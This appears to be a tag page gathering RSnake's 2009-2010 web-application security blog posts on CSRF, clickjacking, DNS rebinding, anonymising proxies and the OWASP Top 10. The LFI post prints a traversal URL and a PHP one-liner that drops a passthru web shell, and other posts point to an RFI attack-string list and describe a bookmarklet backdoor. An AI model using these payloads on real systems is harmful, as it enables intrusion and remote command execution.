My Security Planet » Tags

117 items tagged "Webappsec"

Using Parameter Pollution and Clickjacking to Aid Anti-CSRF Bypass

Posted: March 11th, 2010, 11:06am CST by RSnake

Tags: Webappsec [edit]

It’s been a while since I’ve talked about Clickjacking, with only a few exceptions here and there. Mostly because I haven’t seen it much in the wild - at least not yet. But there’s still a lot of research out there to be done. I got an interesting email the other day that talked about a way to use parameter pollution (or a mix of URL parameters and POST) to create a condition where you can defeat CSRF tokens:

The technique, found by Lava Kuppan describes a scenario where a mix of CSRF, parameter pollution and Clickjacking can defeat CSRF tokens in JSP and (sometimes) in ASP.NET. It’s worth a read. I did briefly mention using CSRF to pre-populate fields that may be necessary to create a Clickjacking scenario during Jeremiah and my brief talk at the world OWASP in New York. But this takes it to a new level, where you can pre-load information in such a way that it will actually defeat the application logic in the process. Anyway, cool stuff by Lava.

Nevermind, I Was Wrong, Google Is Evil

Posted: February 15th, 2010, 4:07pm CST by RSnake

Tags: Webappsec [edit]

I’ve been waiting a while to do this post - several weeks actually since my original post. In that post, I applauded Google’s apparent interest in reigning censorship as “the first really truly non-evil thing I have seen Google do in years”. Since then, I thought it appropriate to give them some time to sift through the nuances of their blog post - you know, to give them the benefit of the doubt - of which I had many. I’m sure you remember just one month ago when Google was waxing on about how they were going to stop censoring:

We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all.

Well, according to The Register:

Google Chief Legal Officer David Drummond never said his company would stop censoring hot-button issues such as the Tiananmen Square massacre of 1989.

If that theory is true Google is essentially saying, “You were too stupid to read our post properly because clearly, our post means that we aren’t able to do so legally, so we’re still going to censor.” If that’s true why would Google wait to clarify such an extremely well publicized fauxpas in their own wording? Maybe they missed all those flowers at the Chinese office. No, I don’t believe that The Register’s theory is true - I think Google sincerely intended to pull out or get more support from the Chinese. However, I believe that Google is being stonewalled by the Chinese government - and for good reason. Google’s demands are impossible to comply with. But we all know that Google and China have been talking for weeks and we haven’t seen any movement other than China’s response to Hillary Clinton saying that they don’t censor (and if anyone still needs proof, email me and I’ll give you instructions on how to see it in action).

Google hasn’t stopped censoring anything, and they haven’t pulled out of China. They asked for a “few weeks” to have those talks, and it has been a few. So now we have to ask the question - does Google actually care about the Chinese people, or is it all about making money for the shareholders. We know that Google censors elsewhere in the world, it’s not just China, yet they’ve not even made mention of those citizens of the other nations. So we have to make the logical connection that Google is just acting in their own self interest and this whole China thing is a distraction from several other major issues, and has nothing to do with the best interest of people who are being censored. So now the real question is did Google do what it sent out to do?

And, so yes bravo, Google. Well done. You snowballed everyone as you stall for time trying to figure out what you want to do with your failing Chinese division. You spanked the Chinese government for hacking into your systems while you drew fire away from your crappy security around your warrant-less wiretapping system that you built into Gmail. So yes, I would have to assess Google’s incredibly calculated decision as a success, but not for the people of China or other censored peoples around the world. It’s back to business as usual at the Googleplex. And so yes, Google, you can keep slinging your ads well into the future. But I have to ask - at what cost?

Phishing With Google Wave

Posted: February 10th, 2010, 6:20pm CST by RSnake

Tags: Webappsec [edit]

Hat tip to cyberlocksmith for this post. He pointed me to a good article on how to phish Google Wave users using malicious gadgets. This is precisely what Tom Stracener and I were talking about in our presentation at DefCon and Blackhat a few years back - except this is for Wave instead of iGoogle. Either way the point is the same - when you let other people control content that is embedded in your site, you are at the mercy of whatever they chose to do within that gadget. In this case, they can pop the user out of the iframe and present them with a duplicate of the sign-in page. The vast majority of users would fall for this kind of attack too.

I really don’t mean to harp too much on Google specifically for this stuff (in as much as I have countless times in the past held them accountable for their crappy security). There are lots of other companies and websites that are moving to user supplied gadgets in an iframe as if that makes them safe. Maybe some variant of HTML5 + some trickery can solve these problems, but there’s a lot of legacy users who won’t be able to support those standards for a good long while. In the mean-time, we just continue to see more vulnerable code being outputted by Google and their peers and the only saving grace is that no one has yet decided to take advantage of their security flaws. Scary. But I’m sure a blacklist will solve their problems if and when they do get attacked, right? Right?

Releases.mozilla.org SSL and Manual Update Fail

Posted: February 4th, 2010, 9:37am CST by RSnake

Tags: Webappsec [edit]

I did a presentation at the DefCon Comedy Jam about how users manually validate updates for Firefox was just a total mess from a security perspective. It had a lot to do with the fact that they are using round robin DNS and relying on the good will of a lot of dispirit sites to do their hosting for them. Well, I’ve been wondering more and more about how I may or may not be able to download these releases and verify them manually in a secure way. So I did a few checks and here’s the IP space I found and the status of what their SSL/TLS ports were when checked yesterday:

63.245.208.152 (live but with SSL/TLS mismatch)
128.61.111.9 (connection refused)
129.101.198.59 (connection refused)
131.188.12.212 (connection refused)
149.20.20.5 (connection refused)
156.56.247.196 (connection refused)
202.177.202.154 (connection refused)
204.152.184.196 (connection refused)
204.246.0.136 (connection refused)
216.165.129.141 (connection refused)
64.50.236.214 (connection refused)
64.50.236.52 (connection refused)
129.101.198.59 (operation timed out)
155.98.64.83 (operation timed out)

So only 1 out of 14 even have SSL enabled. Okay… well today, I took a little spin on SSLLabs and I found that the one site that does have SSL enabled (63.245.208.152) has a SSL/TLS mismatch error for videos.mozilla.org. I mean… seriously! If your browser goes to https://releases.mozilla.org this is sort of what’s happening under the hood:

$ telnet releases.mozilla.org 443
Trying 202.177.202.154…
telnet: connect to address 202.177.202.154: Connection refused
Trying 204.152.184.196…
telnet: connect to address 204.152.184.196: Connection refused
Trying 204.246.0.136…
telnet: connect to address 204.246.0.136: Connection refused
Trying 216.165.129.141…
telnet: connect to address 216.165.129.141: Connection refused
Trying 64.50.236.214…
telnet: connect to address 64.50.236.214: Connection refused
Trying 128.61.111.9…
telnet: connect to address 128.61.111.9: Connection refused
Trying 129.101.198.59…
telnet: connect to address 129.101.198.59: Connection refused
Trying 131.188.12.212…
telnet: connect to address 131.188.12.212: Connection refused
Trying 149.20.20.5…
telnet: connect to address 149.20.20.5: Connection refused
Trying 155.98.64.83…
telnet: connect to address 155.98.64.83: Operation timed out
Trying 156.56.247.196…
telnet: connect to address 156.56.247.196: Connection refused
Trying 63.245.208.152…
Connected to releases.geo.mozilla.com.
Escape character is ‘^]’.
^]
telnet> quit

Yes, after a minute of trying your browser will eventually find the one HTTPS server - or it won’t (sometimes it just gives up). So then in poking around within my Mozilla config I saw a reference to http://en-US.www.mozilla.com/en-US/firefox/3.5.7/releasenotes/. So I switched to SSL/TLS with this link, because I like being secure, and I get a SSL/TLS warning as well. These are the kinds of things that make Firefox incredibly unsafe to manually download and verify the binaries if you are in a hostile environment. And I’m just scratching the surface compared to my presentation. How many of those 3rd party sites do you think can be exploited?

Accuracy and Time Costs of Web Application Security Scanner Report

Posted: February 3rd, 2010, 2:26pm CST by RSnake

Tags: Webappsec [edit]

Larry Suto is back with another report outlining the differences between some of the top web application scanners on the market. Before you get all uptight and start flaming me, I in NO WAY sponsored, encouraged or had anything to do with this test in any way. In fact, I only found out about it a few days ago. Not that I think that’ll stop the flame wars, but just direct your ire appropriately, please! Anyway, he took a different approach this time, and instead of running the scanners against something he had devised up to be used only in his own lab, he turned all the scanners on each other’s public test sites. You might think they should all fair fairly well since they’re all public and there’s nothing stopping them from testing to their heart’s content. But that’s anything but what he found. You can download Larry’s report here.

Some of the more interesting findings were that Burp Suite Pro (an extremely cheap product built by Portswigger - and a damned fine manual testing tool, I might add) fared better than Qualys or WebInspect when trained. I always loved Burp Suite! Larry’s commentary is particularly amusing as you go through it, with choice quotes, like:

Accuntix missed 31% of the vulnerabilities after training and 37% without training. This is a significant cause for concern as they should be aware of the links vulnerabilities on their own site and be able to crawl and attack them.

And…

WebInspect missed 66% of the vulnerabilities, even after being trained to know all of the pages. They missed 42% of the vulnerabilities on their own test site after being trained and 55% before training.

NTOSpider by NT Objectives came out in the lead with the best overall score of the application scanners tested (which included Acunetix, Appscan, Burp Suite Pro, Hailstorm, WebInspect, and NTOSpider). He also measured things like how long the various scanners take to configure, support and so on - all important things for companies about to make the big investment. This isn’t all scanners everywhere (notably WhiteHat is missing as is the newest player to the field, NetSparker who incidentally took it upon themselves to add themselves into the report after the fact, and other free web assessment tools, like Nikto etc…), but it’s a great start to a long future of heavily debated research, I’m sure. Love him, or hate him, Larry’s always got interesting research to share!

Large List of RFIs (1000+)

Posted: January 29th, 2010, 4:55pm CST by RSnake

Tags: Webappsec [edit]

I started on this project over a year ago, and then I stopped, and then I started it again, and then I stopped again, and finally today, I mostly got it finished (or as far as I’m willing to take it for today). I wanted to create a master list of a mess load of RFI (remote file include) attacks. I got the list from various sources and I’m sure I’m missing a ton so yes, if you think there’s some I’ve missed, go ahead and forward them on to me and I’ll add them in.

You can download the full list here (2241 RFIs at the time of writing - after updating).

But because of how I built this it’s got a few issues. The first one is that it doesn’t take into account the path to the vulnerable function. So if it’s http://www.vulnerable.com/bob/something… you have to add that in. The second issue is that sometimes the trailing question mark is needed but it’s not added in the string. But you may require the additional question mark so that you don’t get /r57.txt.somegarbage but rather /r57.txt?.somegarbage which will work. So if you use this, you may have to add in your own question marks after your RFI URL. Anyway, thoughts are welcome, and big thanks for the hundreds of people who found these in the first place!

Micro PHP LFI Backdoor

Posted: January 28th, 2010, 10:49am CST by RSnake

Tags: Webappsec [edit]

I’ve been playing around a lot more with LFI attacks, because I think they’re more prevalent than I originally had expected. Last night I had cigars with one of the OWASP guys and I got to thinking that I should probably do a quick post about this. For those who aren’t clued in about LFI (local file include) attacks, it basically means that PHP is pulling in a file locally and running it (you see that happen a lot with flags like language=en where en represents a file called en.php). So an attack might look like:

http://www.example.com/index.php?language=../../../../../../etc/passwd%00

The null byte is to truncate anything at the end that the php file might be trying to append to the end of the file, like “.php” in “en.php” and so on. Although in that example password files aren’t PHP so it’s not helping you much beyond being able to read files off the file system. So the next step is finding the log files and injecting a PHP backdoor through a user agent or referring URL. There’s some problems with this depending on how you do it because Apache logs will escape quotes. Assuming you find a way around that (like using the error logs rather than the access logs) you can inject your PHP backdoor. Here’s my micro backdoor (thanks to Daniel Herrera for inspiration):

<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

So now what this does is throw a PHP file into the /tmp directory (which is typically writable). More importantly that file can now be used to inject commands directly (in the example below it’s executing whoami):

http://www.example.com/index.php?language=../../../../../../tmp/g%00&f=whoami

If anyone has shorter/more effective LFI backdoor, please let me know and I’ll post them.

JavaScript Embedded in Homepage Links in Firefox

Posted: January 27th, 2010, 10:55am CST by RSnake

Tags: Webappsec [edit]

So after the last post I was messing around a bit with the way the homepage functionality works in Firefox and I noticed something before that I had meant to go back and play with quite a while ago. Funny how the mind works. Anyway, it turns out that if you include a pipe in a URL with JavaScript after it and you somehow get someone to bookmark that page you can get JavaScript to fire on about:blank. I’m not exactly sure how that would be helpful, but it’s certainly unsafe behavior to use a pipe as a delimiter since pipes can exist as valid characters in URL structures. If you want to see it in action click hold and drag the following demo link onto the homepage button in Firefox:

Set your homepage by dragging this link onto your homepage button at the top and then click through the button that asks for confirmation. For some reason this didn’t work on my main browser, but when I used safe mode it worked fine. I suspect that’s NoScript’s doing, so you may have to disable it to get the demo functional. Again, I’m not super clear on how this would be useful, but it’s certainly unintended behavior. Happy bookmarking!

Quicky Firefox Bookmarklet Backdoor

Posted: January 26th, 2010, 1:44pm CST by RSnake

Tags: Webappsec [edit]

Every once in a while I see someone who really should know better leaving their desktop unattended. Sometimes you can change their homepage to porn sites, or send emails to their bosses telling them that they don’t need that pay raise after all and other such fun. Well, if you know the user isn’t utilizing Noscript you can modify their homepage to something a little more dangerous - a JavaScript bookmarklet.

You can see a demo here. Of course this relies on you having a web server set up with a malicious piece of JavaScript that you can include ahead of time. But I think this teaches two valuable lessons if done properly. 1) Use Noscript, even on your homepage and 2) Don’t leave your desktop unattended. Please don’t use it for evil!

.EDU Hacks And Ambulance Chasing

Posted: January 25th, 2010, 5:34pm CST by RSnake

Tags: Webappsec [edit]

I struggled a lot with this over the last few weeks as I thought about it more and more. I’ve known for a very long time that the SEO guys were hacking .edu websites to increase their pagerank for keywords. By getting .edu (which ranks higher than .com for instance because the domains are old and highly connected) to link to a site with the right keywords, Google is tricked into thinking the site is of higher value. Yes, Google’s algorithm really is that simple to get around, which is why there is a lot of garbage in their index now. It just took a while for the bad guys to get a large enough mass of hacked sites.

So I started messing around with search strings that would help me identify highly probably hacked sites and poof - within a few minutes I had dozens upon dozens of high value compromises:

inurl:.edu viagra
inurl:.edu cialis
inurl:.edu phentermine

There are millions of variants of these keywords phrases and their ilk across far greater masses of domains, but this should give you an idea of what’s possible. Some of them are truly amazingly bad. So I took it upon myself to start emailing a few that weren’t on this list but that were just as bad. You may or may not be surprised that I got almost no responses whatsoever. In fact, I only got one that was accusing me of spamming and/or ambulance chasing. Ugh! Talk about a way to make a guy want to quit being a good citizen.

But this brings up an interesting problem. Who exactly are the Internet cops? Some would argue that stopbadware which is heavily sponsored by Google is the equivalent. But it clearly sucks - given that all these were found within Google’s own index. What is the right way to alert a company that they’ve been compromised? Is it even worth bothering? Is my own site going to be viewed as a spam site with links like those above? What an ugly problem!

CSS History Hack In Firefox Without JavaScript for Intranet Portscanning

Posted: January 25th, 2010, 11:36am CST by RSnake

Tags: Webappsec [edit]

Okay, I know we’ve talked about Intranet port scanning to death, but I’ve been toying with an idea for around three years now regarding how I might be able to turn off JavaScript and perform intranet port scanning. Jer had some good ideas around delayed CSS timing (I even got that working at one point). But I still wanted to get the CSS history hack working with forced browsing and see if I could possibly turn that into a crude port scanner. Yeah, I have a few items on my plate, so it took me this long to finally sit down and hack it out. It turns out it was trivial once I got started, because CSS history testing is instant, you don’t have to force a re-load of your test to see if it was successful.

That’s the good news. Here’s the bad news. 1) It only works in Firefox so far in my testing. It didn’t work in IE8 (false negatives), Opera (false positives) or Safari (false negatives). 2) It’s slow. Since it has to wait for all the HTTP requests to fire it’s pretty unwieldy once you get over a few dozen requests. 3) It’s noisy. If you’re dealing with NTLM/basic or digest auth, not to mention any other popups or sounds or what-have-you, you’re talking a pretty noisy port scanner. But all that said, it seems to work fairly well. You can check out the demo here.

Wait, Google - I Thought You Were Evil!

Posted: January 12th, 2010, 6:03pm CST by RSnake

Tags: Webappsec [edit]

Thanks to Jeremiah for sending these over. News is fast hitting about Chinese hacks against Adobe and Google. Very interesting stuff. But beyond the hacks themselves - in Google’s case targeting Chinese political dissidents - is this interesting news:

We have decided we are no longer willing to continue censoring our results on Google.cn, and so over the next few weeks we will be discussing with the Chinese government the basis on which we could operate an unfiltered search engine within the law, if at all. We recognize that this may well mean having to shut down Google.cn, and potentially our offices in China.

Wow! And I do mean wow! Google is no longer willing to take the political hit associated with their flippant stance towards China’s censorship and is actually stepping up to do the right thing! Absolutely amazing. This is the first really truly non-evil thing I have seen Google do in years. I read a really funny article the other day by Fake Steve Jobs where he called Google sociopaths - and until today I agreed with that statement. Now I think at least they know what the difference between right and wrong is, even if they’ve definitely chosen the wrong route a greater percentage of the time than not.

Of course there is all kinds of potential for spin in Google’s blog post. For instance never once did they explain how their cloud wasn’t secure and you shouldn’t upload sensitive information to something that’s not secure if you care about that kind of thing. But alas, I’d never expect that either. Convenience will win that war over security either way. But it’s exciting news, and I’m interested to hear what the fallout of this one is.

Anonymous Proxy Woes

Posted: January 4th, 2010, 11:54am CST by RSnake

Tags: Webappsec [edit]

Marco commented that the CSS history hack doesn’t work with hidemyass.com. Never having been there, I found myself clicking around on their site to find that it’s yet another CGI proxy. So after a few minutes of playing around here is the list of problems or potential problems I have with hidemyass.com and most of the the sites that are similar. Here are the top 10 biggest problems that I see (yes I had to limit myself to 10 because this list was getting out of control), in no particular order:

#1 - First thing I did was go to Youtube, and then I visited one of my own sites. It turns out that cookies set by Youtube are sent to my site on subsequent requests. So there is no cross domain boundaries for cookies. That’s a huge no-no and would easily de-obfuscate where you’ve been, not to mention giving the other site access to your account.

#2 - The site sends a referrer of the hidemyass.com website, so you can easily see that the user came from there.

#3 - The site is still vulnerable to the CSS history hack, but instead of picking one of the sub-urls, you’d just pick the main one of http://hidemyass.com/ and poof!

#4 - The proxy doesn’t re-write the JavaScript, so it’s easy to just call yourself in the JavaScript to see that they are using this service.

#5 - Since every site resides on the same CGI proxy’d domain it’s trivial to see what other domains have been logged into and more importantly, what the content is on those other pages.

#6 - What happens when the site is SSL? Does it even work or does it downgrade you into non-ssl? Either way…

#7 - Same question as above, but what about FTP, SMB and all the other protocols out there…? Either they work or they don’t. Either way, bad news.

#8 - The IP addresses aren’t diverse enough - usually the same set of a handful of IPs, and therefore can be tracked, and/or can cause flood limits on sites looking for that sort of thing.

#9 - Sites like these tend to be run by bad guys, and tend to log whatever information is sent over the wire. What a great place to man in the middle someone - right? Even if they weren’t run by bad guys, they could easily be hacked into in many cases, in which case, every user who utilizes it is potentially in danger.

#10 - Sites like this tend to muck with the HTML of the page they output, making them trivial to detect in JavaScript space, and worse yet, they often can cause major CSS collisions with other page content, or even be overwritten in such a way that the user thinks they are interacting with the CGI Proxy and doing something benign but in fact the user is performing an action that can hurt them.

So yeah, please don’t use CGI proxies, unless you really know what you’re doing. They really very rarely increase your security. Most of the time, they just decrease it, as a matter of fact. And yes, this applies to the dozen or so other sites that the same company runs and the hundreds of others you find mentioned on digg.com and the like. Avoid them, unless you simply don’t care about any of these risks.

Popup & Focus URL Hijacking

Posted: December 28th, 2009, 12:58pm CST by RSnake

Tags: Webappsec [edit]

I apologize ahead of time for whomever first sent me this - it’s been so long now that I have long since lost the original email. But at some point a few years ago someone sent me a small snippet of JavaScript that could cause a page to be replaced by another page in such a way that if you looked at the URL bar, it didn’t matter because after you looked at it - a few seconds later - it would be replaced by the evil site. Well, today I spent a few minutes toying around with other potential uses for that same code. Let’s pretend I wanted an unsuspecting user to download my malicious Firefox add-on. I might create something like this demo which claims to be requesting that you download NoScript from Mozilla’s site. When the page loads, a setTimeout fires a few seconds later resulting in the following popup:

Click to Enlarge

You will notice that it quite clearly says that it is being downloaded from ha.ckers.org, but the vast majority of users won’t understand what that means, since, of course, they are quite clearly on the EV cert protected addons.mozilla.org. Also, presumably an attacker would normally pick something like addons.mozilla.org.xyx.com instead of ha.ckers.org. Worse yet, it blocks the user from downloading the legitimate file until they take action on what my malicious website is prompting them to do. Here’s the equivalent but less useful example in Internet Explorer:

Click to Enlarge

Unlike Firefox, IE doesn’t even say where the file is being downloaded from so it’s even a more confusing user experience. Not that this is a particularly good example since .xpi files are meaningless in Internet Explorer, but you get the point. Either way, this is kinda a nasty user experience, and is extremely likely to result in user compromise if the malicious site is creative enough in how it presents the user to download the latest version of whatever software addon or plugin the attacker is trying to spoof (think about Adobe Flash upgrades, Java upgrades and so on). Could be nasty.

Mr-T smbenum and Firefox userprefs

Posted: December 21st, 2009, 10:52am CST by RSnake

Tags: Webappsec [edit]

I took a few minutes today to update the Master Recon Tool to include both the default Firefox preferences and the smbenum (enumeration of programs in Internet Explorer). This isn’t a big deal or anything, but it’s more that I think people aren’t really clued into all the stuff that can leak from a browser. Not that this is everything, mind you (for instance I didn’t include the IE decloaking stuff, etc…) but mr-t still includes a lot of stuff.

You can check out the latest version here or download the zip file here. Although this doesn’t include the logging functionality (intentionally) I hope this is still helpful to someone.

DNS Rebinding Video

Posted: December 1st, 2009, 9:29am CST by RSnake

Tags: Webappsec [edit]

I decided to throw together a video for those of you who are still having trouble wrapping your heads around DNS Rebinding. It’s my first attempt at making a video so there are zero frills, but if and when I make future videos, I may improve that. Most importantly, hopefully this will help explain the details for those of you who aren’t super clear on the problem:

DNS Rebinding with Robert RSnake Hansen on Vimeo.

And yes, Raf and JJ - I wore the shirt just for you.

The Bikini Is No Longer Safe

Posted: November 23rd, 2009, 4:31pm CST by RSnake

Tags: Webappsec [edit]

Jeremiah Grossman sent this over this afternoon. No, do not click that scandalous picture of that bikini clad girl… it’s just another example of Clickjacking in the wild. Facebook has been hit by a clickjacking worm found by Gadi Evron. It’s called, funny enough the bikini worm. Just another great example of how defense just keeps getting harder for the good guys. If you aren’t vulnerable to CSRF, you’re vulnerable to XSS. If you aren’t vulnerable to XSS you’re vulnerable to clickjacking…

It’s just another great example of a combination of attacks, including my favorite - social engineering. The funniest part of this article is where Gadi admitted to finding the worm by way of clicking on it. Oh, Gadi… hahah!

It’s official. The biniki is no longer safe. Move along.

Com.Com is Up For Sale

Posted: November 20th, 2009, 10:38am CST by RSnake

Tags: Webappsec [edit]

Mubix sent me a link today to the fact that Com.com is for sale. So what, right? Yet another domain that needs a home. But com.com is incredibly important for security. In fact, one of C|NET’s (the company that currently runs com.com) network admins was listed as the 10th most dangerous and least likely person on the Internet during my presentation at OWASP. Why? Because of typo traffic. A friend of mine used to run csuchico.com instead of csuchico.edu and used to get tons of sensitive information about the local college, including building plans, love letters, medical information, bills, and on and on… And that was just one .edu domain. Now imagine the typo traffic for all of .com!

I’m not just talking about email, but think about all the DNS errors, and the referring URLs and the places that you could XSS just because of sloppy coding? It’s a recon dream come true, and it’s almost entirely passive! I tried to register xn--g6w251d.com at one point (a typo of the simplified Chinese IDN TLD). Most people don’t realize that xn--g6w251d (測試) is a TLD and there are a bunch of others like it. So owning xn--g6w251d.com would allow me to get tons of typo traffic, but ICANN in their infinite wisdom decided you’re not allowed to own things like xn--g6w251d.com anymore because it’s too dangerous. Yet com.com still exists and it’s up for grabs! I’m sure it’s monetarily well out of reach for the average bad guy, but there may be a lot more than average bad guys who are interested in owning this one.

DNS Rebinding for Scraping and Spamming

Posted: November 18th, 2009, 10:18am CST by RSnake

Tags: Webappsec [edit]

Okay, last post about DNS Rebinding and then I’ll (probably) shut up about it for a while. If you haven’t already, please read posts one and two for context. As I was thinking about the best possible uses for DNS Rebinding I actually landed on something that is extremely practical for botnets, email scrapers, blog spammers and so on. One of their largest problems for most attackers/spammers is that they need to be able to scrape the search engines for targets and the only way to do that is to send a massive amount of traffic at them and if they use a small subset of machines they are also making themselves easy to block or subvert. Google typically tries to stop robots from scraping by showing a CAPTCHA. Wouldn’t it be easier and better if the attacker/spammer could use other people’s IP addresses? That’s the promise of DNS Rebinding, now isn’t it - unauthenticated cross domain read access from other people’s computers.

David Ross had a good post about how another practical defense against DNS Rebinding is using SSL/TLS, but since Google has opted not to secure their search engine, it becomes possible to use DNS Rebinding for its next logical use. Google hasn’t even fixed their other SSL/TLS woes so there’s pretty much no chance they’re going to secure the search engine any time soon. So DNS Rebinding gives the attacker IP diversity. An attacker can use DNS Rebinding to get other people to rip tons of information from Google without Google being able to block the real attacker. Since sites like Google do not respect the host header and they don’t use SSL/TLS an attacker can scrape information from these sites all they want - all the while using other people’s browsers. Now think comment spamming, polling fraud, brute force, and on and on… All of these become extremely easy and practical by burning other people’s IP addresses, instead of the attacker’s/spammer’s. Yes, DNS Rebinding is nasty, and unless the browser companies do something or every attacked web server on earth starts respecting the host header and/or using SSL/TLS it’s a problem that’s here to stay.

I know a lot of people think this is a complicated technique, but it’s really not that hard. It just requires some JavaScript (similar to BeEF or XSS Shell), a place to log data to log whatever the user saw when the attacker forced them to perform the action, a hacked up DNS server (like the simple DNS Rebinding server sample), a domain, a Firewall that is somehow linked to the attacker/spammer application and some Internet traffic to abuse. None of these things are out of reach for a decently skilled attacker. Anyway, I doubt it’s getting fixed anytime soon, which means DNS Rebinding essentially allows nearly free reign for attackers and spammers for the foreseeable future - and no one appears to be doing anything about it.

DNS Rebinding for Credential Brute Force

Posted: November 17th, 2009, 4:07pm CST by RSnake

Tags: Webappsec [edit]

In part two of my DNS rebinding diatribe I wanted to talk a little more about the previous problem of session fixation. Session fixation is great but it’s only great if by getting them into your account that provides you some value as an attacker. Sometimes that’s useful, sometimes it’s not. But what about a different scenario where the attacker has no access to the page in question so they can’t get access to an account ahead of time - but rather what if the web server is back behind the firewall again? What if it’s a webserver that he wants to compromise but happens to use some cookie as an authentication token? Ahhh… here’s where we might be able to attack it.

A lot of people still don’t get that you don’t need to know people’s usernames and/or passwords to get into their accounts. If you can get (or guess) the credential, that’s good enough. What if the credential were a weak cookie like username=bob or id=1234567? It might be extremely trivial to use DNS rebinding to not only get access to read the login page and perform a traditional brute force attack, but if the format of the credential is known (like in a lot of open source projects) it may be easy to brute force that token. So yes, by getting DNS rebinding and by utilizing brute force you can then fix their session to whatever account you just broke into. And it just keeps getting worse…

Session Fixation Via DNS Rebinding

Posted: November 16th, 2009, 3:44pm CST by RSnake

Tags: Webappsec [edit]

While I was out at OWASP, I ran into Dan Kaminsky and we started chatting about DNS rebinding - as we are known to do. Almost immediately he surprised me by saying that DNS pinning is a bad idea. After much explaining, I get why he thinks so, and I found myself nodding. It’s not because it’s not a good idea, it’s because it doesn’t work, and all the crazy ideas we’ve both collectively heard are either hugely cumbersome or are easy to break. Either way, they aren’t good solutions. So the only valid solution that has any real hope of working is respecting the host header. This means that every web enabled firewall, print server, router, switch, and internal Wiki is in danger until they too learn how to respect the host header. So yes, DNS rebinding is probably here to stay.

Now, I’ve had a thought for a while about another attack that can be leveraged because of DNS rebinding - and that is session fixation. So here’s the scenario. Attacker goes to goodguy.com and logs into his account there. Then he takes the cookies that goodguy.com set in the attacker’s browser and he writes up a little script on badguy.com to set the same cookies. The attacker also has a DNS server that sends a DNS response with a time to live of only 1 second. Then the user comes to badguy.com and gets the cookies meant for goodguy.com but which are only visible on badguy.com. Then a piece of JavaScript redirects the user back to badguy.com in 2 seconds, (one second longer than the TTL on the badguy.com DNS response) and the attacker shuts down the firewall on badguy.com so the user cannot reconnect. The browser rebinds DNS, making a second DNS request in the process. This time the attacker responds to the user’s badguy.com DNS request with goodguy.com’s IP address. Since goodguy.com doesn’t respect the host header, the cookies that the attacker set now work flawlessly even though the user is sending the host header of badguy.com in each request. The attacker can’t control cookies on goodguy.com but they can on badguy.com, which is where the browser still thinks it is. The important part here is that the user is now not only on goodguy.com but actually inside the attacker’s account for which the attacker had the cookies (assuming the cookies haven’t timed out or became invalid - and assuming they weren’t in some other way tied to the attacker’s browser/IP, etc…). How this is useful? Well that’s for perhaps another post, but think of this as a great way to perform a certain sub-class of session fixation. The moral of the story - respect the host header, especially if your site has client-based authentication credentials! More about this to come…

The Future of O2

Posted: November 15th, 2009, 5:31pm CST by RSnake

Tags: Webappsec [edit]

Dinis Cruz has a series of posts about the future of his work at IBM and O2 in particular. It starts off with a fictional layout of an application assessment, and why IBM is currently well poised to solve the problem holistically. Then it rapidly breaks down as the posts go on. The problem is O2 doesn’t have a good home within IBM (or at least not yet). Being a project of a pretty substantial size and complexity and having no support model, it stands to reason that it may have some rough times ahead without an executive sponsor. It also makes sense why people may be unlikely to adopt it - without the backing of a more robust team like they would get from a commercial code analysis product.

Dinis has an open call to action to the enterprises at large who need static code analysis on the cheap, and want something more robust in the future. I’ll be curious to see if any big companies step up to the plate here and takes ownership. It’s a bit unclear about Dinis’ fate within IBM - I think he’s a bit on the fence. One thing I do know, IBM would be foolish to let Dinis walk. That’s especially true if it is (according to Dinis’ case which he builds up in his posts) in their best interest ultimately. Who knows, IBM might get their act together before it’s too late. Otherwise, I bet Dinis will find a good home for himself and O2 elsewhere.

OWASP AppSecDC Top 10 Changes

Posted: November 14th, 2009, 3:48pm CST by RSnake

Tags: Webappsec [edit]

Well, I’m finally back with a mess load of blog posts that I’ll have to write up over the next several days. But I wanted to get this one out first. The conference was a lot of fun and very professionally put together, but like always, I’d like to see more developers attending OWASP. I talked a lot with Dinis Cruz about this, and I’d love to hear any thoughts people have on how we could get more developers and/or managers who have budget to throw at the problem to the conferences. I love talking to a lot of experts, but we’re not pushing the industry forward unless we get more people to attend. So thoughts are welcome.

On an unrelated note Dave Wichers from Aspect Security did a presentation on the next release candidate for the OWASP top 10. The most important change in my mind is that now unvalidated redirects and forwards are now within the top 10 release candidate. I expect this to be a contentious issue, but it could mean trouble for a lot of companies. For instance, let’s take these two URLs Google. Consider the following URLs:

https://www.google.com/accounts/ServiceLogin?service=sierra&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&hl=en_US&nui=1&ltmpl=default&gsessionid=8zA6kaO2BqY

And:

http://www.google.com/search?/accounts/ServiceLogin?service=sierra&continue=https%3A%2F%2Fcheckout.google.com%2Fmain%3Fupgrade%3Dtrue&hl=en_US&nui=1&ltmpl=default&gsessionid=8zA6kaO2BqY&source=hp&q=rsnake&btnI=

This is a sloppy example, but you can see that both the login for Google Checkout and the open redirect in “Feeling Lucky” fall on the same domain and thus could easily confuse an unwitting user. So Feeling Lucky could turn into a PCI liability depending on both a) if this version of the OWASP top 10 is ratified and b) if Google’s hopefully unbiased QSA/Bank agree that this is an issue. I’ve always thought redirects were dangerous (especially because Google’s redirects have been actively used by phishers and spammers for years now). But does it belong on the top 10? It’s an interesting question. Another interesting question is if they are on different ports (443 vs 80 like the previous example) should that matter? It could be equally confusing to a consumer regardless of the protocol, and ultimately that’s the how this attack is useful - attacking a user’s perception. If you have an opinion one way or another, I’m sure the OWASP review team would love to hear your thoughts. Anyway, it’ll be interesting to see how this pans out - one way or another.

Cloud Cracking

Posted: November 3rd, 2009, 11:30am CST by RSnake

Tags: Webappsec [edit]

id sent me a link today about how PGP zip file password cracking on Amazon EC2 could work. I’ve actually seen presentations about cloud password cracking in the past, so it wasn’t new to me, per se, but this is a great writeup on the nitty gritty details. But it occurred to me that finding a command injection vulnerability on EC2 gives an attacker a whole new shiny toy to play with.

By utilizing their command injection within the cloud, the attacker can boost their cracking abilities to unprecedented levels. When id and I started talking about it, he said, “Or you could just use a botnet.” True, but that said, this could even put companies out of business from an economic perspective, as they are forced into much higher utilization than they may have expected. However, id’s right, and yes, botnets are another viable solution to cloud cracking. Botnets are the hacker’s version of the cloud.

DNS Rebinding in Firefox

Posted: October 29th, 2009, 3:01pm CDT by RSnake

Tags: Webappsec [edit]

